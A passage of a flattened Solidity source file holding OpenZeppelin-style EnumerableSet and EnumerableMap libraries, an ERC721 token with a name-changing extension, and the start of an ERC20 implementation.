* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
using EnumerableSet for EnumerableSet.Bytes32Set;
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct Map {
// Storage of keys
EnumerableSet.Bytes32Set _keys;
mapping(bytes32 => bytes32) _values;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(
Map storage map,
bytes32 key,
bytes32 value
) private returns (bool) {
map._values[key] = value;
return map._keys.add(key);
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
delete map._values[key];
return map._keys.remove(key);
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._keys.contains(key);
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._keys.length();
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
bytes32 key = map._keys.at(index);
return (key, map._values[key]);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
bytes32 value = map._values[key];
if (value == bytes32(0)) {
return (_contains(map, key), bytes32(0));
} else {
return (true, value);
}
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
bytes32 value = map._values[key];
require(value != 0 || _contains(map, key), "EnumerableMap: nonexistent key");
return value;
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(
Map storage map,
bytes32 key,
string memory errorMessage
) private view returns (bytes32) {
bytes32 value = map._values[key];
require(value != 0 || _contains(map, key), errorMessage);
return value;
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(
UintToAddressMap storage map,
uint256 key,
address value
) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(
UintToAddressMap storage map,
uint256 key,
string memory errorMessage
) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
contract ERC721Namable is ERC721 {
uint256 public nameChangePrice = 60 ether;
// Mapping from token ID to name
mapping (uint256 => string) private _tokenName;
// Mapping if certain name string has already been reserved
mapping (string => bool) private _nameReserved;
event NameChange (uint256 indexed tokenId, string newName);
constructor(string memory _name, string memory _symbol) ERC721(_name, _symbol) {
}
function changeName(uint256 tokenId, string memory newName) public virtual {
address owner = ownerOf(tokenId);
require(_msgSender() == owner, "ERC721: caller is not the owner");
require(validateName(newName) == true, "Not a valid new name");
require(sha256(bytes(newName)) != sha256(bytes(_tokenName[tokenId])), "New name is same as the current one");
require(isNameReserved(newName) == false, "Name already reserved");
// If already named, dereserve old name
if (bytes(_tokenName[tokenId]).length > 0) {
toggleReserveName(_tokenName[tokenId], false);
}
toggleReserveName(newName, true);
_tokenName[tokenId] = newName;
emit NameChange(tokenId, newName);
}
/**
* @dev Reserves the name if isReserve is set to true, de-reserves if set to false
*/
function toggleReserveName(string memory str, bool isReserve) internal {
_nameReserved[toLower(str)] = isReserve;
}
/**
* @dev Returns name of the NFT at index.
*/
function tokenNameByIndex(uint256 index) public view returns (string memory) {
return _tokenName[index];
}
/**
* @dev Returns if the name has been reserved.
*/
function isNameReserved(string memory nameString) public view returns (bool) {
return _nameReserved[toLower(nameString)];
}
function validateName(string memory str) public pure returns (bool){
bytes memory b = bytes(str);
if(b.length < 1) return false;
if(b.length > 25) return false; // Cannot be longer than 25 characters
if(b[0] == 0x20) return false; // Leading space
if (b[b.length - 1] == 0x20) return false; // Trailing space
bytes1 lastChar = b[0];
for(uint i; i<b.length; i++){
bytes1 char = b[i];
if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces
if(
!(char >= 0x30 && char <= 0x39) && //9-0
!(char >= 0x41 && char <= 0x5A) && //A-Z
!(char >= 0x61 && char <= 0x7A) && //a-z
!(char == 0x20) //space
)
return false;
lastChar = char;
}
return true;
}
/**
* @dev Converts the string to lowercase
*/
function toLower(string memory str) public pure returns (string memory){
bytes memory bStr = bytes(str);
bytes memory bLower = new bytes(bStr.length);
for (uint i = 0; i < bStr.length; i++) {
// Uppercase character
if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) {
bLower[i] = bytes1(uint8(bStr[i]) + 32);
} else {
bLower[i] = bStr[i];
}
}
return string(bLower);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
